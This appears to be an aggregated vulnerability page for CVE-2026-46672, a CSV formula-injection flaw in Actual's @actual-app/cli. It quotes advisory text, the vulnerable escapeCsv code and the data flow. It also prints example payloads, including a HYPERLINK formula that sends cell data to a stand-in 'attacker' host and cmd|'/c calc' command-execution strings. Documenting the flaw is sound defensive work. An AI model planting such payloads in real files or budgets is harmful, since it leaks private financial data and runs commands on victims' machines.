CVE-2026-46672
Actual: CSV Formula Injection in `@actual-app/cli` `--format csv` Output via Custom `escapeCsv` Helper
Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.6
Actual: CSV Formula Injection in `@actual-app/cli` `--format csv` Output via Custom `escapeCsv` Helper
Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.
- Record
CVE-2026-46672- CVSS 3.1
- 4.6 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-1236
- Updated
- 2026-11-02
EUVDEUVD-2026-42079
4.6
Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.
- Record
EUVD-2026-42079- CVSS 3.1
- 4.6 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7gh7-258j-4mpq
4.6
@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper
Summary
@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.
This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.
Details
Vulnerable code
packages/cli/src/output.ts:98-103:
function escapeCsv(value: string): string {
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;
}
The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 parsing but irrelevant to spreadsheet formula evaluation. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.
Data flow to the sink
- The global
--formatoption is registered atpackages/cli/src/index.ts:53-57withchoices(['json','table','csv'])and applies to every subcommand. - List/query subcommands invoke
printOutput(data, format)(output.ts:105-107), which routesformat === 'csv'toformatCsv(output.ts:71-96). - For each row, every column is run through
formatCellValue(output.ts:21-26):
Only the fixedfunction formatCellValue(key: string, value: unknown): string { if (isAmountValue(key, value)) { return (value / 100).toFixed(2); } return String(value ?? ''); }AMOUNT_FIELDSset (amount,balance,budgeted, etc.) gets numeric coercion. User-controlled string fields —payee.name,account.name,category.name,notes, tag names, rule descriptions, schedule names — are passed verbatim toescapeCsv. escapeCsvreturns the value unmodified unless it contains,,", or\n. A payload such as=1+1,@SUM(...),+1+cmd|'/c calc'!A0, or-2+3+cmd|'/c calc'!A0therefore lands in the output as a leading-character formula.
Exploitability conditions
- The CLI is installed and used by the victim (
@actual-app/cliis published with"bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }). - The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
- Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
- Sending the victim a crafted OFX/QIF/CSV import file.
- API write access (e.g., over a compromised sync session).
- The victim runs
actual <list-cmd> --format csv > out.csvand opensout.csvin a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.
There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.
PoC
Setup (one-time — choose any user-controlled field; payee shown):
# Inject via the CLI's own write path (or via OFX/QIF/CSV…
- Record
GHSA-7gh7-258j-4mpq- CVSS 3.1
- 4.6 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-1236
- Updated
- 2026-11-02
NVD
4.6
Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.
- Record
CVE-2026-46672- CVSS 3.1
- 4.6 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-1236
- Updated
- 2026-11-02
OSV
4.6
Actual: CSV Formula Injection in `@actual-app/cli` `--format csv` Output via Custom `escapeCsv` Helper
Actual is a local-first personal finance app. Prior to 26.6.0, @actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts used whenever the global --format csv option is passed, whose escapeCsv helper only handles RFC 4180 delimiter, quote, and newline escaping and does not neutralize standard CSV formula-injection prefixes. Any CLI command that streams an object array containing user-controlled strings, including transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, and query, can emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration and arbitrary formula execution. This issue is fixed in version 26.6.0.
- Record
CVE-2026-46672- CVSS 3.1
- 4.6 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-1236
- Updated
- 2026-11-02
OSVGHSA-7gh7-258j-4mpq
4.6
@actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper
Summary
@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.
This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.
Details
Vulnerable code
packages/cli/src/output.ts:98-103:
function escapeCsv(value: string): string {
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;
}
The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 parsing but irrelevant to spreadsheet formula evaluation. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.
Data flow to the sink
- The global
--formatoption is registered atpackages/cli/src/index.ts:53-57withchoices(['json','table','csv'])and applies to every subcommand. - List/query subcommands invoke
printOutput(data, format)(output.ts:105-107), which routesformat === 'csv'toformatCsv(output.ts:71-96). - For each row, every column is run through
formatCellValue(output.ts:21-26):
Only the fixedfunction formatCellValue(key: string, value: unknown): string { if (isAmountValue(key, value)) { return (value / 100).toFixed(2); } return String(value ?? ''); }AMOUNT_FIELDSset (amount,balance,budgeted, etc.) gets numeric coercion. User-controlled string fields —payee.name,account.name,category.name,notes, tag names, rule descriptions, schedule names — are passed verbatim toescapeCsv. escapeCsvreturns the value unmodified unless it contains,,", or\n. A payload such as=1+1,@SUM(...),+1+cmd|'/c calc'!A0, or-2+3+cmd|'/c calc'!A0therefore lands in the output as a leading-character formula.
Exploitability conditions
- The CLI is installed and used by the victim (
@actual-app/cliis published with"bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }). - The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors:
- Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server).
- Sending the victim a crafted OFX/QIF/CSV import file.
- API write access (e.g., over a compromised sync session).
- The victim runs
actual <list-cmd> --format csv > out.csvand opensout.csvin a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.
There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.
PoC
Setup (one-time — choose any user-controlled field; payee shown):
# Inject via the CLI's own write path (or via OFX/QIF/CSV…
- Record
GHSA-7gh7-258j-4mpq- CVSS 3.1
- 4.6 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-1236
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@actual-app/clinpm |
before 26.6.0 | 26.6.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-46672 is a medium vulnerability (CVSS 4.6) in Actualbudget Actual, published June 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 8th percentile. Fixed in @actual-app/cli 26.6.0.
References
github.com/actualbudget/actual/security/advisories/GHSA-7gh7-258j-4mpq
github.com/actualbudget/actual/pull/7859
github.com/actualbudget/actual/commit/068185751c03b42e726e3c60b718413d5f96c306
github.com/actualbudget/actual/releases/tag/v26.6.0
github.com/advisories/GHSA-7gh7-258j-4mpq
github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46672.json
nvd.nist.gov/vuln/detail/CVE-2026-46672
github.com/actualbudget/actual
Left out here: the rest of 2 source descriptions. The JSON record has them.